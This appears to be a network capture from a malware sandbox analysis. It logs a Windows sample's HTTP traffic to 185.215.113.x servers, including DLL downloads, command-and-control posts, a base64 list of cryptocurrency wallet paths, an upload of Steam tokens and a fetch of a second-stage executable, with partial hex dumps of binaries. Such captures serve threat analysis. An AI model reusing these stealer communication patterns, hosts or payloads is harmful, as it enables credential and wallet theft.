00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 12, 2024 10:37:36.577451944 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 10:37:36.853964090 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 12, 2024 10:37:37.204865932 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 10:37:37.481853962 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 12, 2024 10:37:38.053985119 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGDBAFHJJDAKEBGCFCB Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 10:37:38.827848911 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:37:38.891841888 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 2d 2d 0d 0a Data Ascii: ------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="message"wallets------IEHDBAAFIDGDAAAAAAAA--
Nov 12, 2024 10:37:39.180461884 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 12, 2024 10:37:39.192882061 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHII Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 2d 2d 0d 0a Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="message"files------AECAKECAEGDHIECBGHII--
Nov 12, 2024 10:37:39.471693993 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:37:39.560100079 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJDBGDGCGDAKFIDGIDB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="file"------IIJDBGDGCGDAKFIDGIDB--
Nov 12, 2024 10:37:43.330915928 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 10:37:43.359846115 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="message"ybncbhylepme------KEGCBFCBFBKFHIECAFCF--
Nov 12, 2024 10:37:43.651149988 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	50018	185.215.113.16	80	4328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:37:43.660684109 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 12, 2024 10:37:44.570297956 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:37:44 GMT Content-Type: application/octet-stream Content-Length: 3331584 Last-Modified: Tue, 12 Nov 2024 09:17:31 GMT Connection: keep-alive ETag: "67331d2b-32d600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 e0 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf2@32@Wk22 @.rsrc@.idata @toqszsru ,,@bemtxewq22@.taggant02"2@
Nov 12, 2024 10:37:44.570310116 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:37:44.570321083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:37:44.570374966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:37:44.570388079 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 10:37:44.570405006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: .uL.]tL(p62z}UB?2x(62R#]UB2x(62 =UB
Nov 12, 2024 10:37:44.570415974 CET	1236	IN	Data Raw: 78 c1 be 7f c4 28 f1 9a 6c 03 36 32 d8 52 1c f8 10 ae 3d 9e 11 86 55 02 c3 42 ed 1a ff c7 f3 32 78 c1 be 7f c4 28 f1 9a 64 03 36 32 d8 fa 22 f8 10 ae 1d 9e 11 86 55 e2 c0 42 ed 1a df c7 f3 32 78 c1 be 7f c4 28 f1 9a 9c 03 36 32 d8 a2 1d f8 10 ae Data Ascii: x(l62R=UB2x(d62"UB2x(62UBB2x(62f&U"B2x(62""UB2x(62'UbB_2x(62 }UB?2x(62]
Nov 12, 2024 10:37:44.570425987 CET	24	IN	Data Raw: 11 86 55 c2 f2 42 ed 1a 3f fb f3 32 78 c1 be 7f c4 28 01 9a 5c 0d 36 32 Data Ascii: UB?2x(\62
Nov 12, 2024 10:37:44.570451021 CET	1236	IN	Data Raw: d8 ca 1d f8 10 ae 5d 99 11 86 55 a2 f2 42 ed 1a 1f fa f3 32 78 c1 be 7f c4 28 f5 9a 44 0d 36 32 d8 e6 24 f8 10 ae 3d 99 11 86 55 02 f2 42 ed 1a ff fa f3 32 78 c1 be 7f c4 28 01 9a 78 0d 36 32 d8 ea 26 f8 10 ae 1d 99 11 86 55 e2 f3 42 ed 1a df fa Data Ascii: ]UB2x(D62$=UB2x(x62&UB2x(`62jUBB2x(62ZU"B2x(62*UB2x(62UbB_2x(62}UB?
Nov 12, 2024 10:37:44.570522070 CET	1236	IN	Data Raw: 78 c1 be 7f c4 28 fd 9a dc 09 36 32 d8 9a 22 f8 10 ae 7d 94 11 86 55 c2 e5 42 ed 1a 3f fe f3 32 78 c1 be 7f c4 28 f1 9a c8 09 36 32 d8 0a 20 f8 10 ae 5d 94 11 86 55 a2 e5 42 ed 1a 1f fd f3 32 78 c1 be 7f c4 28 f1 9a c0 09 36 32 d8 ea 19 f8 10 ae Data Ascii: x(62"}UB?2x(62 ]UB2x(62=UB2x(62UB2x(62*#UBB2x(62#U"B2x(62!UB2x(\62
Nov 12, 2024 10:37:44.575354099 CET	1236	IN	Data Raw: 14 09 46 3a 84 43 e1 e9 87 b7 7b e7 1c 0b 3f 36 cd 43 e5 34 40 95 44 72 cb 8c 81 38 4c 86 3d 98 03 dc f3 1a b8 93 f0 32 86 4b e9 b6 cc 8e 78 78 5f cb 4c 1a c6 ea f3 32 86 a3 4f 74 0c 86 b9 7f c4 53 78 1e 7a 09 e2 22 7a c6 7f f8 0c 56 b4 39 bf 83 Data Ascii: F:C{?6C4@Dr8L=2Kxx_L2OtSxz"zV962m3C=t2$Nt268L=2x:6zr"LSxzJ962C_'pv7:2\@xxr[7DrT!GyQ=M462W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50066	185.215.113.206	80	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:37:51.031891108 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIDBKKKKKFBGDGDHIDBG--
Nov 12, 2024 10:37:52.458164930 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50112	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:05.021558046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 10:38:05.934777975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 09:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50113	185.215.113.43	80	6804	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 10:38:07.451936007 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: 